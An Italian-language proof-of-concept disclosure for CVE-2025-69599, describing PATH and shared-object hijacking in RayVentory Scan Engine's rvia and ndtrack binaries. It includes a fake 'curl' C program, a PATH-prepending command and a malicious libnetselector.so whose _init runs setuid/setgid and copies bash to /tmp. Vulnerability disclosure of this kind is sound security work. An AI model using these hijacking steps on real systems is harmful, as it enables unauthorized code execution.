
Proof-of-concept exploit per CVE-2025-69599, che dimostra un elemento di percorso di ricerca non controllato nei binari rvia e ndtrack di RayVentory Scan Engine, consentendo l'esecuzione di codice arbitrario tramite manipolazione di PATH e hijacking di oggetti condivisi.
rvia in Raynet è vulnerabile a un problema di Elemento del Percorso di Ricerca Non Controllato (Uncontrolled Search Path Element). Durante il caricamento di oggetti condivisi e la chiamata a binari di sistema (come .so e binari helper), questi vengono richiamati utilizzando percorsi relativi, il che consente a un utente di alterare il binario finale o l'oggetto .so eseguito manipolando la variabile d'ambiente PATH.

Nella seguente evidenza, un binario arbitrario chiamato curl viene creato nella directory /tmp.
#include <stdio.h>
#include <stdlib.h>
int main() {
system("whoami");
return 0;
}
gcc curl.c -o curl # Compilazione del binario
La variabile PATH viene modificata in modo che la prima directory in cui cercare il comando curl quando chiamato da rvia sia /tmp.
export PATH=/tmp:$PATH
Dopodiché, una chiamata a /opt/rvia/rvia getconfig utilizzerà il nostro binario curl alterato.

Lo stesso vale per l'opzione upload.

Lo stesso problema si riscontra quando si utilizza l'opzione rvia inventory, che internamente chiama il binario ndtrack. Il binario ndtrack chiama i comandi cat e sh utilizzando un percorso relativo.


Infine, è stato rilevato anche che il binario ndtrack include oggetti condivisi (file .so) utilizzando percorsi relativi.

Nella seguente evidenza è possibile vedere i passaggi effettuati per sostituire la chiamata relativa a libnetselector.so (è possibile anche eseguire le stesse azioni con libuploader.so). In questo caso viene creato un oggetto condiviso personalizzato; quando questo oggetto condiviso viene eseguito, verrà creata una copia della bash nella directory /tmp con nome bash_so_hijack.
Il seguente è il codice C per creare l'oggetto condiviso personalizzato chiamato libnetselector.so
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
void _init() {
setuid(1001);
setgid(1001);
system("cp /bin/bash /tmp/bash_so_hijack");
}
gcc -fPIC -shared -o libnetselector.so libnetselector.c -nostartfiles # compilazione dell'oggetto condiviso

È importante notare che questo funziona solo quando si chiama ndtrack direttamente, poiché quando viene invocata l'opzione inventory, viene effettuata una chiamata a uno script bash in /opt/rvia chiamato ndtrack, che imposta la variabile d'ambiente PATH prima di chiamare il binario ndtrack.
